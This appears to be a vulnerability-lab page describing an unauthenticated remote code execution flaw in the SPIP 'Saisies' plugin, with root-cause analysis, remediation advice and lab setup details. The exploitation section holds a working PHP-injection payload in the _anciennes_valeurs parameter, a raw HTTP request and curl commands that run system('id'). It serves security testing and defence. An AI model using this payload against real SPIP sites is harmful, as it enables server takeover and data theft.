VT-2025-71243

SPIP Saisies Plugin - Unauthenticated Remote Code Execution

CRITICAL 9.8CVEspipsaisiesrcecode-injection

Run this lab

$vt start --id vt-2025-71243

Lab not starting or behaving wrong? Report a problem with this lab

Summary

The 'Saisies pour formulaire' plugin for SPIP contains a critical unauthenticated Remote Code Execution vulnerability. The _anciennes_valeurs parameter bypasses SPIP's protege_champ() sanitization due to its underscore prefix, and the #ACTION_FORMULAIRE balise renders with interdire_scripts=false, allowing injected PHP tags to survive template compilation and execute via eval() during the form loading phase.

Technical detail

Three layers combine to enable code execution: 1. Field Bypass: Parameters prefixed with underscore (_anciennes_valeurs) bypass protege_champ() sanitization because the code checks if ($champ[0] !== '_') before applying protections. 2. Template Security Disabled: The #ACTION_FORMULAIRE balise renders the _hidden field with interdire_scripts=false, disabling PHP tag stripping that normally replaces <? with &lt;?. 3. Code Execution: SPIP templates compile to PHP and execute via eval(). Unescaped <?php ?> tags survive compilation and execute during rendering. Affected components: - saisies_pipelines.php: saisies_formulaire_charger_generer_hidden_ancienne_valeur_depubliee() - SPIP template engine (eval-based compilation) - #ACTION_FORMULAIRE balise (interdire_scripts=false)

Impact

Successful exploitation allows an unauthenticated remote attacker to execute arbitrary system commands with the privileges of the web server process (www-data). This can lead to: - Complete server compromise - Data exfiltration from the database and filesystem - Installation of web shells or backdoors - Lateral movement within the network - Website defacement

Exploitation & proof of concept

SPIP Saisies _anciennes_valeurs PHP Code Injection

The function saisies_formulaire_charger_generer_hidden_ancienne_valeur_depubliee() in saisies_pipelines.php directly interpolates user-supplied _anciennes_valeurs parameter into an HTML hidden input value attribute without any sanitization: return "<input type='hidden' name='_anciennes_valeurs' value='$encode' />"; Combined with interdire_scripts=false on #ACTION_FORMULAIRE, injected PHP tags execute during SPIP template compilation via eval().

GET/spip.php?page=contactparam=_anciennes_valeursunauthenticated

REQUEST
GET /spip.php?page=contact&_anciennes_valeurs=x%27%2F%3E%3C%3Fphp%20system%28%27id%27%29%3B%20%3F%3E%3Cinput%20value%3D%27x HTTP/1.1
Host: {{Hostname}}
RESPONSE
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
PAYLOADS
RCE via PHP tag injection
_anciennes_valeurs=x' /><?php system('id'); ?><input value='x
INDICATORS
uid=www-data

Nuclei detection: vt-2025-71243.nuclei.yaml

manual: ["Start lab: docker-compose up -d", "Wait for initialization (~60s)", "Send exploit payload to the form page"]

curl_examples: ["RCE via _anciennes_valeurs injection: curl -s \"http://localhost:8025/spip.php?page=contact&_anciennes_valeurs=x%27%2F%3E%3C%3Fphp%20system%28%27id%27%29%3B%20%3F%3E%3Cinput%20value%3D%27x\"", "Detection check (non-destructive): curl -s \"http://localhost:8025/spip.php?page=contact&_anciennes_valeurs=x%27%2F%3E%3C%3Fphp%20echo%20%27VT_RCE_CHECK%27%3B%20%3F%3E%3Cinput%20value%3D%27x\" | grep -o \"VT_RCE_CHECK\""]

Remediation

1. Immediately update the Saisies plugin to version 5.11.1 or later 2. If update is not possible, temporarily disable the Saisies plugin 3. Implement WAF rules to block _anciennes_valeurs parameter containing PHP tags 4. Regular security patching of SPIP core and all plugins 5. Input validation on all form parameters regardless of underscore prefix 6. Monitor SPIP security advisories at blog.spip.net

Lab setup notes

  • Access web interface at http://localhost:8025/
  • Admin panel at http://localhost:8025/ecrire/ (admin / admin123)
  • Vulnerable contact form at http://localhost:8025/spip.php?page=contact

References